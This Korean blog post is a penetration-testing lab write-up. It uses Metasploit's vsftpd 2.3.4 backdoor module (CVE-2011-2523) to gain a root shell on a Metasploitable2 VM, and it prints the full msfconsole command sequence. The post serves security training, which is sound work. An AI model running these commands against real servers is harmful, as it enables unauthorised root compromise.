모의해킹&웹취약점진단/모의해킹 개요

Mitre ATT&CK -Initial Access[FTP 취약점]

sheow13 2023. 10. 27. 14:17
728x90

개요

- 진단 항목에 맞게 어떤 취약점들이 도출될 수 있는지 확인 후 시나리오 기반으로 각 진단 항목을 대입하여 침투 가능 여부 확인

- 공격자는 정보수집(정찰) 과정을 통해 획득한 정보로 초기 진입(Initial Access)을 진행하는 사례로, 공급망 손상(Supply Chain Compromise)에 해당

- metasploit2를 대상으로 진행하였으며, 정보 수집 단계에서 확인된 사항을 토대로 점검 진행

- 모의 침투는 Kali Linux에서 제공하는 metasploit framework를 사용할 예정

 

 사전지식

metasploit(메타스플로잇) 정의

- CVE 넘버링이 붙은 알려진 취약점 공격을 사용할 수 있도록 제공되는 모의 해킹 도구

- 정보 수집, 공격(Exploit), 공격에 사용되는 Plugin(payload) 등으로 구성된 도구

- 정보 수집 및 공격 모듈 사용 시 간편하게 진행 가능

- Msfconsole 내에서 외부 명령어 사용 가능

 

metasploit(메타스플로잇) 용어 정리

- Exploit : 시스템, 애플리케이션, 서버 등의 취약점을 이용하여 공격 진행(Ex : SQL Injection)

- Post : exploit 이후 추가 공격에 사용되는 도구 또는 모듈

- Payload : 시스템에서 실행하고자 하는 코드로 프레임워크에 의해 전달(Ex : 악성코드)

- Shell code : 공격 수행할 때 payload에 사용되는 명령 집합

- Module : Metasploit framework에서 사용되는 소프트웨어의 부분

- auxiliary : 탐색에 사용되는 도구들

 

metasploit(메타스플로잇) 명령어

search
- CVE 넘버를 검색하거나 취약점 이름을 검색하는 명령어
- 보통 CVE, NAME, Platform, type 옵션을 많이 사용
use
- 원하는 모듈을 사용하는 명령어
- search를 통해 검색한 모듈을 use 명령어를 통해 사용
show options
- Exploit을 하기 위해 필요한 값을 확인
- Required ‘yes’로 설정된 값은 필수로 입력해야 하는 값으로 설정 필요
set
- show options에서 확인한 값 입력하는 명령어로 특정 변수의 값을 설정
exploit
- 선택한 모듈을 수행하기 위한 명령어

 

진행 절차

Step 1. 정보수집 과정에서 FTP가 Open되어 있음을 확인하였으며, 버전은 vsftpd 2.3.4를 사용. 익명의 사용자(Anonymous)도 접근이 가능하여 해당 버전 또는 익명 사용자도 접근 가능한 취약한 설정을 토대로 침투가 가능한지 여부를 체크

[NMAP 조회 결과]
[anonymous로 ftp 접근 가능 확인]
[해당 ftp 버전 exploit 코드가 있는것으로 확인]

 

Step 2. metasploit 접근 후,  Exploit 진행 시 root 권한 쉘 획득 성공 확인

vsftpd 2.3.4 Backdoor Commnad Execution(CVE-2011-2523) : vsftpd에서 관리상 편의성으로 백도어를 설치한 것을 악용한 것으로 추측되고 있으며, ftp 포트로 특정 바이트 스퀀스를 전송하면 시스템 포트인 6200번 포트로 백도어가 동작하는 취약점

명령어
root@kali#msfconsole
msf6 >search vsftpd 2.3.4
msf6 >use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >set RHOSTS [대상 IP]
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[metasploit 실행 후 search 명령어를 통해 exploit 코드가 있는지 확인]
[공격 진행에 앞서 필요한 옵션 값 설정]
[공격 진행 시 루트 쉘 권한 획득 확인]